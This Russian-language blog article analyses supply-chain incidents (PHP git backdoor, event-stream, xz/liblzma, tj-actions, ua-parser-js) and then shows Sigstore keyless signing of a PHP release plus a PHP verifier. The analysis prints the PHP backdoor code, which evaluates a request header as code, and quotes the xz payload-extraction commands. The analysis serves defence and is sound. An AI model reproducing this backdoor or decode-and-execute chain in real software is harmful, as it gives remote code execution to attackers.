«Fix typo»: как в PHP закоммитили бэкдор и почему composer install — это акт доверия

от автора

В марте 2021 года в официальный Git-репозиторий PHP прилетели два коммита. Первый назывался невинно — [skip-ci] Fix typo, — а автором значился Расмус Лердорф (создатель языка). Его заметили и откатили — тогда атакующий запушил тот же код повторно, замаскировав коммит под возврат отката (Revert "Revert "[skip-ci] Fix typo"") и подписав его именем Никиты Попова (одного из ключевых разработчиков ядра). Оба коммита добавляли в интерпретатор бэкдор: если в HTTP-запросе присутствовал заголовок User-Agentt со значением, начинающимся на zerodium, PHP выполнял остаток значения этого заголовка — всё после префикса — как PHP-код. Удалённое выполнение кода в каждом, кто обновился бы до этой сборки.

Выглядел бэкдор так — несколько строк, добавленных в функцию php_zlib_output_compression_start() (файл ext/zlib/zlib.c), то есть в путь обработки практически любого HTTP-запроса:

// $_SERVER['HTTP_USER_AGENTT'] — это присланный клиентом заголовок "User-Agentt"if ((enc = zend_hash_str_find(..., "HTTP_USER_AGENTT", sizeof("HTTP_USER_AGENTT") - 1))) {    convert_to_string(enc);    if (strstr(Z_STRVAL_P(enc), "zerodium")) {        zend_eval_string(Z_STRVAL_P(enc) + 8, NULL, "REMOVETHIS: sold to zerodium, mid 2017");    }}

zend_eval_string() — это C-эквивалент пользовательской eval(): строка-аргумент исполняется как PHP-код. + 8 отрезает префикс zerodium (восемь символов), и всё, что шло в заголовке после него, выполнялось на сервере. Комментарий REMOVETHIS: sold to zerodium, mid 2017 атакующий оставил прямо в коде — циничная отсылка к брокеру эксплойтов Zerodium.

Ни Расмус, ни Никита этого не писали. Атака прошла через собственную Git-инфраструктуру PHP — git.php.net: коммиты запушили по HTTPS с парольной аутентификацией, и, скорее всего, утекла база паролей master.php.net — сам сервер, похоже, не взламывали. Поймали случайно: участники сообщества, просматривая уже запушенные коммиты, заметили странный код и спросили прямо под диффом, что тут делает zerodium. Команда PHP сделала выводы и перенесла канонический репозиторий на GitHub, отказавшись от собственной инфраструктуры.

Это удобная отправная точка, потому что в одном маленьком инциденте видны все болевые точки сразу. Доверие к подписи автора (которой не было — коммиты не были подписаны, имя в Author подделывается одной командой). Доверие к инфраструктуре (которую взломали). И главное — то, что между исходниками, которые вы читаете на код-ревью, и артефактом, который реально запускается у пользователя, лежит длинная цепочка, и атаковать можно любое её звено.

Эта статья — про то, как устроены атаки на эту цепочку, почему привычные ответы (GPG, хеши, «ну у нас же HTTPS») закрывают её лишь частично, и какой ответ за последние годы выработала индустрия. Сначала — карта местности (механика атак и модель угроз), затем подпишем и проверим релиз PHP-пакета — в CI и из кода. Кода во второй половине будет много.

Цепочка поставок: пять звеньев, каждое атакуют

«Цепочка поставок ПО» (software supply chain) звучит абстрактно, пока не разложить её на звенья. Возьмём путь обычной зависимости — от мысли разработчика до строчки в вашем vendor/:

разработчик → исходный код (git) → сборка (CI) → артефакт → реестр → ВЫ

Каждый стык — это точка, где артефакт можно подменить, и для каждой есть громкий реальный инцидент.

Звено 1. Исходный код и тот, кто его пишет

Самый прямой путь — попасть в исходники. Способов два: сломать инфраструктуру (как с git.php.net) или стать тем, кому доверяют.

Второе — это история event-stream (2018). Популярная npm-библиотека (миллионы загрузок в неделю), у выгоревшего мейнтейнера. К нему пришёл доброжелатель, предложил помощь, какое-то время добросовестно поддерживал пакет — и получил права публикации. После чего добавил зависимость flatmap-stream с вредоносным кодом, нацеленным на конкретный криптокошелёк (Copay). Вредонос жил в минифицированном коде опубликованного пакета и активировался только в окружении жертвы. Социальная инженерия против человека, а не против сервера.

Урок звена: «коммит сделал доверенный человек» и «коммиту можно доверять» — разные утверждения. Аккаунты угоняют, мейнтейнеров обманывают, доверие передают.

Звено 2. Сборка: разрыв между исходниками и артефактом

Тут живёт самая коварная атака последних лет — бэкдор в xz/liblzma (CVE-2024-3094, март 2024).

Её гениальность — в том, где прятался вредонос. Канонический Git-репозиторий xz был чист: на любом код-ревью вы видели нормальный код. Но пользователи (и сборочные системы дистрибутивов) скачивают не git-дерево, а release-tarball — отдельный архив, который мейнтейнер генерирует и выкладывает сам. И вот в tarball’е лежал файл build-to-host.m4, которого не было в Git. Во время сборки он раскодировал «испорченный» тестовый файл в скрипт, тот — следующий, и в итоге в liblzma встраивался объектный файл, компрометирующий проверку SSH-ключей на сервере.

Заметил это не аудитор кода, а Андрес Фройнд — инженер, который замерял производительность PostgreSQL и обратил внимание, что вход по SSH стал занимать примерно на полсекунды дольше обычного, а sshd — съедать заметно больше CPU. Потянул за ниточку — и размотал многолетнюю операцию по внедрению «доверенного» мейнтейнера.

Урок звена, и он центральный для всей статьи: то, что вы проверили в git, и то, что собралось и поехало к пользователю, — это не обязательно одно и то же. Если артефакт собирается где-то, куда вы не смотрите, чистота исходников ничего не гарантирует.

Стоит разобрать механику по шагам — она и есть лучшая иллюстрация тезиса «git ≠ tarball»:

  1. build-to-host.m4 — файл-макрос autoconf — лежал только в release-tarball’ах (5.6.0/5.6.1), в git его не было. Он исполнялся на стадии ./configure и искал в дереве «нужный» файл по сигнатуре:

    grep -aErls "#{4}\[\[:alnum:\]\]{5}#{4}$" $srcdir/ 2>/dev/null
  2. Полезную нагрузку несли два файла, замаскированных под тестовые данные декодера: tests/files/bad-3-corrupt_lzma2.xz (нулевая стадия) и tests/files/good-large_compressed.lzma (объектник + зашифрованный код). Для библиотеки-распаковщика бинарный мусор в tests/ — норма, на ревью не цепляет.

  3. Первая стадия извлекалась байтовой подстановкой и распаковкой — и результат уходил прямо в /bin/sh:

    cat tests/files/bad-3-corrupt_lzma2.xz | tr "\t \-_" " \t_\-" | xz -d
  4. На стадии make скрипт доставал из второго файла ~88 КБ объектного кода и вмерживал его в liblzma, подменив функцию isarch_extension_supported() так, чтобы та вызывала getcpuid() из вредоносного объектника.

  5. getcpuid() оказывался IFUNC-резолвером — он гарантированно исполняется на раннем этапе динамической линковки, ещё до того как GOT/PLT помечаются read-only. Резолвер переписывал GOT, подменяя RSA_public_decrypt, — и в sshd (тянущем liblzma транзитивно через systemd) появлялся обход аутентификации по ключу атакующего.

Ни одной из этих стадий не было видно в git: ревьюер открывал репозиторий и видел чистый код.

Звено 3. CI/CD: атакуют конвейер

Раз артефакт собирает CI, то компрометация CI — это компрометация артефакта. Показательный случай — tj-actions/changed-files (CVE-2025-30066, март 2025), популярный GitHub Action, использовавшийся в более чем 23 000 репозиториев.

Атакующий скомпрометировал токен бота с правами на репозиторий и сделал страшное: переписал теги версий. Теги v1v45 — все, на которые ссылались чужие workflow, — были задним числом перенаправлены на один вредоносный коммит. Тот сканировал память раннера и выгребал секреты (токены, ключи, PAT) прямо в логи сборки, публично читаемые в открытых репозиториях.

Запомните эту деталь — переписанные теги. Она ниже превратится в конкретное правило защиты.

Урок звена: ваш билд исполняет чужой код (экшены, плагины, образы). Версия @v4 — это не фиксация, это «дай мне то, на что сейчас показывает тег v4», а тег может переехать.

Звено 4. Артефакт и реестр: подмена при доставке

Даже если исходники, сборка и CI чисты, артефакт ещё нужно доставить — через реестр (npm, PyPI, Packagist). Реестр — единая точка, и доступ к нему — это доступ ко всем потребителям.

Классика — ua-parser-js (октябрь 2021): у мейнтейнера угнали npm-аккаунт и опубликовали версии с криптомайнером и трояном для кражи паролей. Пакет с десятками миллионов загрузок в неделю. Через месяц — то же с coa и rc. Не тронули ни строки в Git — просто опубликовали вредоносную версию под доверенным именем.

Сюда же — тайпсквоттинг: пакет reqeusts вместо requests, расчёт на опечатку в composer require.

Урок звена: «скачано из официального реестра под правильным именем» не означает «опубликовано тем, кому вы доверяете, и из того кода, что вы видели».

Звено 5. PHP-специфика

Где во всём этом PHP и Composer? В нескольких чувствительных местах:

  • Скрипты и плагины Composer. post-install-cmd, post-autoload-dump и composer-плагины исполняют произвольный PHP во время composer install — то есть на машине разработчика и на CI. Вредоносная зависимость не ждёт продакшена, она срабатывает при установке.

  • Тайпсквоттинг на Packagist работает ровно так же, как в npm.

  • И ключевое для нашей темы: когда вы делаете composer require, Packagist по умолчанию отдаёт не подписанный мейнтейнером файл, а zipball, который GitHub генерирует из тега на лету. Его содержимое не зафиксировано побайтово и в принципе может меняться. Подписывать «то, что скачает composer» поэтому нечего — нет стабильного артефакта, под которым стоит подпись.

Последний пункт настолько важен (и настолько ограничивает то, что мы сможем сделать в практической половине), что повторю явно и вынесу отдельно.

Сразу честно, без иллюзий. Если вашу библиотеку ставят обычным composer install из Packagist — подпись артефакта пока не поможет. Composer скачивает не подписанный файл, а zipball, который GitHub генерирует из тега на лету; подписывать там попросту нечего. Подпись работает там, где артефакт — конкретный неизменный файл: PHAR, релизные tarball’ы, Docker-образы, внутренние реестры. И она в любом случае полезна как доказательство происхождения — «из какого коммита и каким workflow собрано». Подробно — ниже; пока просто держим это в уме.

Почему привычные ответы закрывают цепочку лишь частично

«Так это же решённая проблема — подписывайте релизы». Давайте посмотрим, почему существующие ответы не стали повсеместными.

GPG-подписи. Технически работают десятилетиями, но для массового потребителя так и не взлетели — и причина в ключах. Их надо сгенерировать, надёжно хранить, не потерять, ротировать, вовремя отозвать. Проверяющему — где-то взять правильный публичный ключ и решить, доверять ли ему (проблема, которую так и не решила «паутина доверия»). В итоге даже там, где подписи есть, их почти никто не проверяет. Показательно, что Packagist за всю историю так и не ввёл обязательную подпись пакетов.

Хеши в lock-файле. composer.lock фиксирует хеш содержимого пакета — и это полезно: гарантирует, что у всех в команде и на CI установится идентичный код. Но хеш отвечает на вопрос «тот же ли это байт-в-байт пакет, что и вчера», а не «кто его создал и можно ли ему доверять». Если первая же установка тянет скомпрометированную версию, lock честно зафиксирует её хеш.

composer audit и базы advisory. Незаменимая вещь, но про другое: они сверяют ваши зависимости с базой известных уязвимостей (CVE). С происхождением пакета это никак не связано: audit поймает известную дырявую версию, но не скажет, кто и из чего собрал пакет, и не заметит свежий бэкдор, которого ещё нет в базах.

«У нас HTTPS и фиксированные теги». HTTPS защищает канал в момент скачивания — от подмены по дороге, но не от того, что в реестре уже лежит вредоносная версия. А теги, как показал tj-actions, переезжают.

Ни один из этих механизмов не плох — просто каждый закрывает свой узкий участок. Не хватает того, что связывает артефакт с его происхождением проверяемым образом и не требует от каждого мейнтейнера возиться с ключами.

Ответ индустрии: Sigstore и подпись без ключей

Этот ответ оформился вокруг проекта Sigstore (под крылом Linux Foundation; им пользуются npm, PyPI, Kubernetes, Homebrew). Идея — убрать из подписи то, обо что она спотыкалась: долгоживущие ключи.

Звучит парадоксально: подпись без ключа. На деле ключ есть — он просто живёт минуты и нигде не хранится. Вот как подписывается артефакт в GitHub Actions (а это самый массовый сценарий):

  1. CI-джоба просит у GitHub OIDC-токен — JWT, в котором GitHub удостоверяет: «этот токен выдан workflow attest.yml репозитория acme/app на теге 1.2.3».

  2. На раннере генерируется одноразовая пара ключей — приватный живёт только в памяти джобы и исчезает вместе с ней.

  3. Fulcio (центр сертификации Sigstore) меняет OIDC-токен на X.509-сертификат сроком ~10 минут. В сертификат вшита identity из токена — URL workflow и ref.

  4. Артефакт (точнее, утверждение о нём) подписывается эфемерным ключом.

  5. Подпись публикуется в Rekor — публичном, неизменяемом журнале прозрачности.

  6. Сертификат + подпись + запись Rekor пакуются в self-contained “bundle”.

Три идеи, которые тут стоит разглядеть.

Identity вместо ключа. Сертификат удостоверяет не «Васю с таким-то ключом», а конкретный workflow конкретного репозитория на конкретном ref. Проверяющему не нужно добывать и доверять ничьему публичному ключу — он формулирует политику в терминах «подписано workflow attest.yml репозитория acme/app». Это и человекочитаемо, и не требует управления ключами.

Что именно «удостоверяет workflow» — стоит увидеть предметно. CI-джоба получает от GitHub OIDC-токен (JWT), и в его payload — не человек, а контекст запуска:

{  "iss": "https://token.actions.githubusercontent.com",  "aud": "sigstore",  "sub": "repo:k2gl/dsse:ref:refs/tags/1.1.1",  "repository": "k2gl/dsse",  "workflow_ref": "k2gl/dsse/.github/workflows/attest.yml@refs/tags/1.1.1",  "ref": "refs/tags/1.1.1",  "sha": "d9716be40f51e2bc32f6328a4f1830dd12156a45",  "event_name": "push",  "runner_environment": "github-hosted"}

Дальше Fulcio убеждается, что токен и правда выдал GitHub, и переносит эти поля в сам сертификат — в специальные расширения X.509 (Sigstore выделил под них свою OID-ветку 1.3.6.1.4.1.57264.1.*: туда попадают репозиторий, workflow, способ запуска сборки). А самое главное — идентичность сборщика — записывается в поле SAN сертификата как обычный URL:

SAN (URI): https://github.com/k2gl/dsse/.github/workflows/attest.yml@refs/tags/1.1.1issuer:    https://token.actions.githubusercontent.com

Вот это и есть «ключ» новой модели: не «Вася с отпечатком GPG», а «workflow attest.yml репозитория k2gl/dsse, запущенный по тегу 1.1.1». Проверяющая политика формулируется ровно в этих терминах — к ней вернёмся в практической половине.

Доверие смещается, а не исчезает. Важно быть честным: «нет ключей ни у кого» — неправда. Ключи есть у Fulcio, у Rekor, у корня доверия (его распространяет TUF — The Update Framework). Вы не избавились от доверия — вы сменили его адрес: вместо «доверяю GPG-ключу мейнтейнера» теперь «доверяю тому, что GitHub честно выдаёт OIDC-токены, а Fulcio и Rekor работают как заявлено». Это осознанный размен: доверенных сторон стало больше, но все они — публичная, наблюдаемая инфраструктура, а не приватный ключ в ноутбуке, который теряют и крадут.

Прозрачность как сдерживание. Rekor — журнал только-на-дозапись, как Certificate Transparency для TLS. Подпись нельзя сделать «тихо»: она становится публичной и неудаляемой записью. Для мейнтейнера это бесплатная сигнализация — если от имени вашего workflow в журнале появилась подпись, которой вы не делали, это видно всем. Атакующий с полным контролем над репозиторием не может подписать незаметно.

Модель угроз: что подпись ловит, а что нет

Самое вредное, что можно сделать с подписью, — поверить, что она защищает от всего. Поэтому разложим честно. Подпись артефакта (build provenance — «доказательство сборки») утверждает ровно одно: «этот артефакт собрал вот этот workflow из вот этого коммита». Это происхождение, а не безвредность.

Атака

Поймает?

Почему

Подмена артефакта после сборки (реестр, зеркало, MITM)

Цифровая подпись не сойдётся с изменёнными байтами

Сборка «такого же» пакета на чужой машине

У атакующего нет OIDC-токена вашего репозитория — identity в сертификате будет чужой

Публикация под чужим именем из форка/другого workflow

Политика проверки требует конкретный репозиторий и workflow

Откат на старую уязвимую версию с её настоящей подписью

⚠️

Только если политика привязана к ожидаемой версии (пину тега); иначе старая версия пройдёт со своей валидной подписью

Вредоносный коммит попал в main, релиз собран из него

❌ детект / ✅ улика

Подпись валидна (происхождение настоящее!), но в Rekor навсегда зафиксировано, какой коммит и какой workflow это собрали

Скомпрометирован сам signing-workflow (через чужой экшен)

Любая джоба с правом подписи под вашей identity подпишет что угодно — поэтому к safety самого workflow требования жёсткие (см. ниже)

Угнан аккаунт мейнтейнера, релиз тегают «легально»

❌ детект / ✅ улика

Подпись настоящая; защита — на уровне доступа (ниже) и мониторинга журнала

Из таблицы не нужно делать вывод «подпись бесполезна против половины атак». Вывод другой: подпись закрывает самый длинный и незаметный участок — всё, что происходит с артефактом после коммита (сборку, упаковку, доставку, хранение). То, что было до коммита — кто и что влил в репозиторий, — это уже другая защита.

В стандарте SLSA эти две зоны так и разделяют: защита исходников и защита сборки. Подпись артефакта — про сборку. Она не отменяет защиту кода, но делает её проверяемой потом: без провенанса после инцидента вы только разводите руками («это не мы, это зеркало подменило»), а с ним — у вас доказательство, какой коммит и какая сборка выпустили заражённый файл.

Хорошая новость: бóльшая часть защиты исходников — не криптография, а гигиена доступа, и включается парой галочек: защищённая ветка main (только через PR с ревью), 2FA у всех с доступом, сторонние экшены по commit SHA вместо тега (помните переписанные теги tj-actions? SHA так не переедет), минимум прав у токенов и OIDC вместо вечных секретов. Конкретный YAML соберём ниже.

Где это уже работает — и при чём тут PHP

Это не теория из будущего. npm показывает бейдж provenance у пакетов, собранных в публичном CI. PyPI с конца 2024-го генерирует Sigstore-аттестации (PEP 740) по умолчанию — для пакетов, публикуемых через Trusted Publishing (OIDC вместо вечных токенов). Homebrew подписывает все свои bottles. Экосистемы Go, Rust, JS, Python, Ruby имеют официальных Sigstore-клиентов.

И это уже не только добрая воля реестров — за безопасность ПО взялись государства, и разработчику всё чаще нужно доказывать, из чего и как собран его продукт. США (указ EO 14028) требуют от поставщиков ПО для госорганов подписанную гарантию, что разработка велась безопасно. Евросоюз (Cyber Resilience Act) с 2027 года обязывает прикладывать к любому продукту с цифровой начинкой машиночитаемый состав — SBOM — и держать под контролем всю цепочку поставок, под крупные штрафы. Слова «Sigstore» в законах нет, но подпись и провенанс — самый практичный способ выполнить эти требования.

Тренд один: доверие смещается от долгоживущих ключей и токенов к keyless-подписи через OIDC, а provenance из опции превращается в дефолт на стороне реестра — SBOM и аттестация всё чаще идут в паре.

А PHP? Долгое время — пусто: ни верификатора Sigstore-бандлов, ни моделей аттестаций. Кое-что было (например, php-tuf — клиент TUF, выросший из нужд Drupal/Composer), но именно проверки Sigstore-подписей на чистом PHP не существовало. Дальше — закроем эту нишу руками.

Практика: к концу — одна команда

Подпишем релиз PHP-пакета в GitHub Actions (минимальная подпись — ~38 строк YAML, ноль секретов, ~10 секунд; показанный ниже полный workflow добавляет ещё публикацию артефактов и самопроверку), выложим подписанный артефакт и проверим его — и эталонным gh, и из PHP-кода. К концу вы получите вот это:

$ vendor/bin/sigstore-verify dsse-1.1.1.tar.gz dsse-1.1.1.tar.gz.sigstore.jsonl \    --repository k2gl/dsse --workflow attest.yml --ref refs/tags/1.1.1    VERIFIEDsubject:   dsse-1.1.1.tar.gz (sha256:7a719ac27ce8c64af4992222213dcbfc240d412719e0b5e6107392f4e6c9f7ba)predicate: https://slsa.dev/provenance/v1    

Чистый PHP подтвердил: этот tarball собрал workflow attest.yml репозитория k2gl/dsse из тега 1.1.1, подпись настоящая, запись в журнале прозрачности на месте, а байты на диске — ровно те, что подписаны. Одной командой; а с локально сохранённым корнем доверия (--trusted-root) — полностью оффлайн, к этому вернёмся.

Всё, что ниже, прогнано на настоящем релизе — k2gl/dsse 1.1.1, подписанном в GitHub Actions. И отдельно: верификатор, которым мы будем пользоваться, проходит официальный sigstore-conformance — тот же тестовый набор, которым проверяют себя sigstore-go и sigstore-python — в полном объёме (v0.0.29, 134 verification-кейса), и этот прогон встроен в его CI.

Пять терминов, чтобы дальше читалось без сносок:

Термин

Одной строкой

Fulcio

центр сертификации Sigstore: меняет OIDC-токен на сертификат на ~10 минут с вшитой identity сборщика

Rekor

публичный неизменяемый журнал прозрачности: туда попадает каждая подпись

DSSE

формат конверта, в котором лежит и подписывается полезная нагрузка (тут — аттестация)

in-toto / SLSA provenance

стандартная структура «что за артефакт и как он собран» внутри конверта

trusted root

набор корневых ключей Fulcio/Rekor; распространяется через TUF, против него идёт вся проверка

Путь подписи: OIDC-токен → эфемерный ключ в памяти раннера → сертификат Fulcio → подпись DSSE → запись в Rekor → bundle. Проверка идёт в обратную сторону.

Подпись чеканится в CI слева направо; проверка идёт в обратную сторону — против корня доверия, который распространяется по TUF

Подпись чеканится в CI слева направо; проверка идёт в обратную сторону — против корня доверия, который распространяется по TUF

Подписываем релиз: один workflow

GitHub умеет всю описанную выше механику из коробки — фича называется Artifact Attestations. Для публичных репозиториев подпись идёт через публичный инстанс Sigstore бесплатно. Вот полный workflow, который подписывает релизы во всех моих репозиториях. Он не игрушечный — это рабочий attest.yml после прохождения аудита, поэтому в нём важны детали:

name: Atteston:  push:    tags: ['[0-9]*.[0-9]*.[0-9]*']permissions:  contents: readjobs:  attest:    name: Build provenance    runs-on: ubuntu-latest    permissions:      id-token: write      attestations: write      contents: read    steps:      - name: Checkout        uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3        with:          persist-credentials: false      - name: Build release tarball        run: |          tarball="dsse-${GITHUB_REF_NAME}.tar.gz"          git archive --format=tar.gz --prefix="dsse-${GITHUB_REF_NAME}/" --output="${tarball}" "${GITHUB_SHA}"          echo "tarball=${tarball}" >> "$GITHUB_ENV"      - name: Attest build provenance        uses: actions/attest-build-provenance@a2bbfa25375fe432b6a289bc6b6cd05ecd0c4c32 # v4.1.0        with:          subject-path: ${{ env.tarball }}      - name: Download attestation bundle        env:          GH_TOKEN: ${{ github.token }}        run: |          gh attestation download "${tarball}" --repo "${GITHUB_REPOSITORY}"          mv sha256:*.jsonl "${tarball}.sigstore.jsonl"      - name: Hand off signed artifacts        uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1        with:          name: signed-release          path: |            *.tar.gz            *.sigstore.jsonl          if-no-files-found: error  release:    name: Publish release assets    needs: attest    runs-on: ubuntu-latest    permissions:      contents: write    steps:      - name: Fetch signed artifacts        uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8.0.1        with:          name: signed-release      - name: Create release with assets        env:          GH_TOKEN: ${{ github.token }}        run: |          gh release create "${GITHUB_REF_NAME}" \            --repo "${GITHUB_REPOSITORY}" \            --verify-tag \            --title "${GITHUB_REF_NAME}" \            --generate-notes \            *.tar.gz *.sigstore.jsonl \          || gh release upload "${GITHUB_REF_NAME}" --repo "${GITHUB_REPOSITORY}" --clobber *.tar.gz *.sigstore.jsonl  verify:    name: Verify published release    needs: release    runs-on: ubuntu-latest    permissions:      contents: read    steps:      - name: Download release assets        env:          GH_TOKEN: ${{ github.token }}        run: |          gh release download "${GITHUB_REF_NAME}" --repo "${GITHUB_REPOSITORY}" \            --pattern '*.tar.gz' --pattern '*.sigstore.jsonl'      - name: Verify attestation (online)        env:          GH_TOKEN: ${{ github.token }}        run: gh attestation verify *.tar.gz --repo "${GITHUB_REPOSITORY}"      - name: Verify attestation (offline bundle)        env:          GH_TOKEN: ${{ github.token }}        run: gh attestation verify *.tar.gz --repo "${GITHUB_REPOSITORY}" --bundle *.sigstore.jsonl

Разберём решения — каждое из них следствие модели угроз из первой половины.

Триггер только на релизные теги. tags: ['[0-9]*.[0-9]*.[0-9]*'] — подпись чеканится исключительно при пуше версионного тега. Никаких workflow_dispatch и tags: ['*']: кто может создать релизный тег, тот может выпустить подписанный релиз, и сужать это право критично (к нему вернёмся в чек-листе).

Секретов нет. id-token: write разрешает джобе получить OIDC-токен; Fulcio обменяет его на короткоживущий сертификат. Приватный ключ генерируется в памяти раннера и умирает с джобой — красть нечего.

Минимальные права, по джобам. Вверху contents: read — дефолт для всего workflow. Право на запись (contents: write, нужное для создания релиза) есть только у джобы release, а право подписи (id-token/attestations: write) — только у attest. Скомпрометируй злоумышленник шаг сборки — у него всё равно нет прав публиковать. Финальной же verify-джобе хватает contents: read: аттестации публичного репозитория отдаются даже анонимно, отдельное разрешение на их чтение не нужно.

Экшены запинены по commit SHA. actions/checkout@df4cb1c0… вместо @v6. Помните переписанные теги tj-actions выше? SHA подменить нельзя. Комментарий # v6.0.3 рядом — чтобы человек видел версию. (Да, это first-party экшены GitHub, которым доверия больше, — но правило должно быть единым, иначе оно не правило.)

git archive, не «архив папки». Tarball собирается из git-объектов конкретного коммита — детерминированно и без мусора рабочей копии. export-ignore в .gitattributes вырезает тесты и CI-конфиги, так что подписываем ровно dist. Оговорка: «детерминированно» не значит «байт-в-байт воспроизводимо в любой среде» — формат архива может зависеть от версий git/gzip. Именно поэтому подписанные байты надо публиковать, а не надеяться сгенерировать их заново.

Подписанные байты выкладываются в релиз. Это тот пункт, без которого вся затея — театр: артефакт из Actions живёт 90 дней и требует логина. Джоба release прикладывает к GitHub Release и tarball, и его бандл (*.sigstore.jsonl) — теперь их может скачать кто угодно и когда угодно. Хвост || gh release upload --clobber делает джобу идемпотентной: ре-ран на существующем релизе не падает, а перезаливает ассеты.

Пайплайн проверяет сам себя. Финальная джоба verify скачивает опубликованный релиз и прогоняет gh attestation verify дважды: с аттестацией из API GitHub и по бандлу-файлу из ассетов релиза — оба пути доставки проверены. Это и проверка, что мы ничего не сломали, и постоянный смоук-тест подписи на каждом релизе.

Скачивается аттестация одной командой:

$ gh attestation download dsse-1.1.1.tar.gz --repo k2gl/dsseWrote attestations to file sha256:7a719ac2…9f7ba.jsonl

Внутри — Sigstore bundle (application/vnd.dev.sigstore.bundle.v0.3+json): сертификат Fulcio, DSSE-конверт с подписанным in-toto Statement и запись Rekor с inclusion proof. Всё для проверки — в одном JSON.

Содержимое *.sigstore.jsonl: сертификат Fulcio (кто подписал), DSSE-конверт с in-toto Statement (что подписано) и запись Rekor (доказательство) — всё для оффлайн-проверки в одном JSON.

Содержимое *.sigstore.jsonl: сертификат Fulcio (кто подписал), DSSE-конверт с in-toto Statement (что подписано) и запись Rekor (доказательство) — всё для оффлайн-проверки в одном JSON.

Верифицируем из PHP

Сразу прозрачно: пакеты, на которых всё показано ниже, — мои, я их мейнтейню. Это не оговорка, а причина показывать именно на них — вы видите рабочий стек на боевом релизе, а не псевдокод. Контекст простой: официального Sigstore-клиента для PHP не существует (для Go, Python, JS, Rust, Java, Ruby — есть; для PHP был php-tuf, но это TUF-клиент, а не верификатор Sigstore-подписей). Эту нишу и закрывает стек k2gl/*.

Ставится он, само собой, через composer require — как sigstore-python через pip; гарантия тут не в канале, а в том, что код открыт и сам пакет подписан тем же механизмом, что мы проверяем.

Самый быстрый путь — CLI

Пакет везёт бинарь без зависимостей. Это то, что вставляется в пайплайн одной строкой:

$ composer require k2gl/sigstore-verify$ vendor/bin/sigstore-verify dsse-1.1.1.tar.gz dsse-1.1.1.tar.gz.sigstore.jsonl \    --repository k2gl/dsse --workflow attest.yml --ref refs/tags/1.1.1VERIFIEDsubject:   dsse-1.1.1.tar.gz (sha256:7a719ac27ce8c64af4992222213dcbfc240d412719e0b5e6107392f4e6c9f7ba)predicate: https://slsa.dev/provenance/v1

Код возврата 0 — проверено; любая проблема печатает причину и возвращает 1. --trusted-root path делает прогон полностью оффлайн; для не-GitHub подписантов есть --san/--issuer. JSON Lines с несколькими бандлами тоже понимает (успех, если верифицируется хотя бы один).

Из кода — с типизированным провенансом

Когда нужно проверять артефакт внутри приложения (маркетплейс плагинов, самообновление, приём загружаемых модулей), а не в шелле, — то же самое из PHP:

<?phpdeclare(strict_types=1);require __DIR__ . '/vendor/autoload.php';use K2gl\InToto\Statement;use K2gl\Sigstore\Bundle;use K2gl\Sigstore\IdentityPolicy;use K2gl\Sigstore\SigstoreVerifier;use K2gl\Sigstore\SubjectPolicy;use K2gl\Sigstore\TrustedRoot;use K2gl\Slsa\Provenance;$artifact = 'dsse-1.1.1.tar.gz';// `gh attestation download` writes JSON Lines: one Sigstore bundle per line.$lines = file('dsse-1.1.1.tar.gz.sigstore.jsonl', FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);$bundle = Bundle::fromJson($lines[0]);// Fetch the Sigstore public-good trusted root via TUF — the only network call here.$trustedRoot = TrustedRoot::fromSigstorePublicGood();// Who must have signed: this repository's attest.yml workflow on this release tag.$identity = IdentityPolicy::githubActions(    repository: 'k2gl/dsse',    workflow: 'attest.yml',    ref: 'refs/tags/1.1.1',);// What must have been signed: this exact file.$subject = new SubjectPolicy('sha256', hash_file('sha256', $artifact));$envelope = (new SigstoreVerifier)->verify(    bundle: $bundle,    trustedRoot: $trustedRoot,    identityPolicy: $identity,    subjectPolicy: $subject,);// The payload is authenticated now — model it with the typed packages.$statement = Statement::fromEnvelope($envelope);$provenance = Provenance::fromStatement($statement);echo "VERIFIED\n";echo 'builder: ' . $provenance->runDetails->builder->id . "\n";echo 'commit:  ' . $provenance->buildDefinition->resolvedDependencies[0]->digest['gitCommit'] . "\n";
$ php verify.phpVERIFIEDbuilder: https://github.com/k2gl/dsse/.github/workflows/attest.yml@refs/tags/1.1.1commit:  d9716be40f51e2bc32f6328a4f1830dd12156a45

Три объекта в этом коде несут всю суть.

TrustedRoot — единственный поход в сеть. fromSigstorePublicGood() один раз скачивает доверенные корневые ключи Sigstore через TUF-клиент (k2gl/tuf): тот проходит цепочку метаданных root → timestamp → snapshot → targets и проверяет подписи на каждом шаге. Это единственное место, где код вообще ходит в сеть. Хотите полный оффлайн — один раз сохраните trusted_root.json и грузите TrustedRoot::fromJson(); сам верификатор в сеть не ходит никогда. Только учтите: устаревший или подменённый trusted root тихо обесценивает всю проверку — поэтому его и обновляют через TUF.

IdentityPolicyкто подписал. Сертификат Fulcio удостоверяет не человека, а workflow:

SAN:    https://github.com/k2gl/dsse/.github/workflows/attest.yml@refs/tags/1.1.1issuer: https://token.actions.githubusercontent.com

Фабрика githubActions() собирает проверку этого SAN. Деталь, на которой легко обжечься: ref в SAN — это триггер workflow. Подпись с ветки даёт @refs/heads/main, релизная по тегу — @refs/tags/1.1.1. Для релизов закладывайтесь на теги (ref: 'refs/tags/' . $version) — это заодно прибивает ту самую rollback-атаку из таблицы угроз: артефакт обязан быть собран из ожидаемого тега. Есть и gitlabCi(), и общий sanRegex().

Это ядро всей модели: «артефакт подписан» само по себе не значит ничего — подписать умеет и злоумышленник. Значит только «подписан тем, кому я доверяю собирать».

SubjectPolicyчто подписано. Требует, чтобы sha256 файла на диске присутствовал в subject аттестации. Без неё можно подсунуть валидную аттестацию другого артефакта того же автора.

Две политики проверки: IdentityPolicy отвечает на «кто подписал» (разбор SAN), SubjectPolicy — на «что подписано» (sha256 файла == subject в аттестации).

Две политики проверки: IdentityPolicy отвечает на «кто подписал» (разбор SAN), SubjectPolicy — на «что подписано» (sha256 файла == subject в аттестации).

А под капотом verify() за один вызов проверяет всю цепочку, и отказ любого звена — исключение:

  • сертификат выпущен CA из trusted root и был валиден на момент подписи;

  • SCT (Certificate Transparency) сертификата подписан известным CT-логом;

  • DSSE-подпись сходится с публичным ключом сертификата;

  • запись Rekor соответствует конверту, inclusion proof сходится к checkpoint, checkpoint подписан ключом журнала из trusted root, signed entry timestamp валиден;

  • время из журнала попадает в срок жизни сертификата;

  • identity и subject policy выполнены.

Цепочка verify(): шесть звеньев, и отказ любого — исключение (fail-closed), а не тихий «verified».

